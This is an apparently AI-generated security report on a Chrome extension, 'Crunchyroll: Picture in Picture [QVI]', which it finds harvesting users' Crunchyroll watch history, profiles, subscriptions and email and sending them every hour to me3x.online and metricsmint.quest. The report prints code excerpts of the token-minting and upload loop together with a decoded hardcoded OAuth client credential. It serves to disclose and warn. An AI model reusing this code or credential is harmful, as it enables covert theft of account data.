Is Crunchyroll: Picture in Picture [QVI] safe?

Medium risk

The extension mints a token from your Crunchyroll session and sends your watch history, profiles, and subscription data to me3x.online.

On any Crunchyroll page, the content script reads your session cookies and uses a hardcoded Crunchyroll client secret to mint a bearer token, then calls Crunchyroll's private APIs to pull your profiles, full watch history, and subscription records. It forwards all of it to a third-party server, me3x.online, keyed to a persistent per-user ID, and repeats this every hour. Collection defaults to ON and is presented to users as 'anonymous feedback,' though the data sent is your real account watch-history and subscription information.

Awesome Extensionsv1.0.15Chrome Web Store
45Risk
Who publishes it

HideApp - 106 other listings from the same operator, 14 of them carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
Awesome Extensions
Declared legal entity
HideApp
Registered address
1021 East Lincolnway, Cheyenne, WY 82001, US
Registered contact
HideApp LLC

Shared hosts - 1 hostname

Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.

awesomextensions.com
Also called by 1 other listing: UltraWide for Player.pl: custom fullscreen ratios

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Crunchyroll watch history and account data transmitted to me3x.online

MediumunwantedCWE-506Dynamic sandbox

Logged into Crunchyroll, the extension reads your cookies, mints a bearer token with a hardcoded credential, and pulls watch history (2,000 titles max), profiles, and subscriptions, sending it hourly to me3x.online, a third party.

What actually happens

You did this

You visit any Crunchyroll page while logged in to your account.

The extension did this

The extension reads your cookies, mints a bearer token with a hardcoded Crunchyroll credential, fetches watch history, profiles, and subscriptions, and sends them to me3x.online.

The cycle repeats automatically every hour via setTimeout(3600000).

Data collected and transmitted to me3x.online

  • Crunchyroll account ID
    U7E93F2D1A4

    Your unique numeric account identifier, used to construct all private API request URLs.

  • Profile ID
    P0A1B2C3D4E

    The active profile within your account, passed to the token endpoint to scope the bearer token.

  • Watch history (up to 2,000 titles)
    [{"id":"GRDQPM0ZY","title":"One Piece",...}]

    The full list of content you have watched or started watching, including episode IDs and progress.

  • Multi-profile list
    [{"profile_id":"P0A1B2C3D4E","profile_name":"Alice"}]

    The names, IDs, and settings of every profile on your Crunchyroll account.

  • Subscription details
    {"subscriptions":[{"type":"premium","status":"active"}]}

    Your current and past Crunchyroll subscription plan records.

  • Account email address
    user@example.com

    Your Crunchyroll account email, sent via a separate upload to metricsmint.quest/up.

  • Extension user ID
    ext-8a3f21c04d

    A persistent identifier created by the extension and sent alongside every upload.

The code that does this

OAuth harvest loop, crunchyroll.min.js

Readable version

Token mint — getConfigTokens() calls buildTokensUrl() = https://www.crunchyroll.com/auth/v1/token

crunchyroll.min.js:5001
options = {  headers: {    Authorization: "Basic bm9haWhkZXZtXzZpeWcwYThsMHE6",  // base64 of 'noaihdevm_6iyg0a8l0q:'    "Content-Type": "application/x-www-form-urlencoded"  },  method: "POST",  body: formData.toString()  // grant_type=etp_rt_cookie&device_id=<cookie>};

Upload loop — uploadSingleCommandData(data, commandId) called for each scraped dataset

crunchyroll.min.js:4432
postPlainJsonRequest(  `${BASE_ROUTE}crunchyroll/upload`,   // BASE_ROUTE = 'https://me3x.online/n/'  { ...data, commandId: commandId });

Hourly re-run — runWithAuth() in CrunchyrollHunter

crunchyroll.min.js:7470
// rerunTimeInterval = config_crunchyroll_namespaceObject.T3 = 3600000setTimeout(() => this.runWithAuth(task, rerunInterval), rerunInterval);

Why you can't catch this in DevTools

The Crunchyroll OAuth client credential is Base64-encoded in the Authorization header of the token-mint POST request.

Decoded value
noaihdevm_6iyg0a8l0q:

When this fires

Every 1 hour

After the initial scrape on page load, the extension reschedules itself to run every hour via setTimeout(3600000). The harvest runs once per hour for as long as any Crunchyroll tab is open.

Servers receiving Crunchyroll account data

    • me3x.online

    Receives the command list (POST /n/crunchyroll/start) and harvested data (POST /n/crunchyroll/upload): watch history, profiles, subscriptions. Not affiliated with Crunchyroll.

    • metricsmint.quest

    Receives the account email address and account ID via a separate POST to /up with a base64-encoded body (sendAdditionalProfileData).

What it can do

Permissions this extension asks for, as declared in version 1.0.15. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on crunchyroll.com

    *://*.crunchyroll.com/*

  • Store data in your browser

    storage

Where it sends data

Destinations our analysis observed Crunchyroll: Picture in Picture [QVI] contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • me3x.onlinewidely used

    Crunchyroll: Picture in Picture [QVI] sends data to me3x.online. A widely used service: 58 other extensions we have analyzed send data here.

  • www.crunchyroll.com

    Crunchyroll: Picture in Picture [QVI] sends data to www.crunchyroll.com. One other extension we have analyzed sends data here.

Updated 30 September 2026mnbidnopakfjollfbpjlbnbgnkcdbend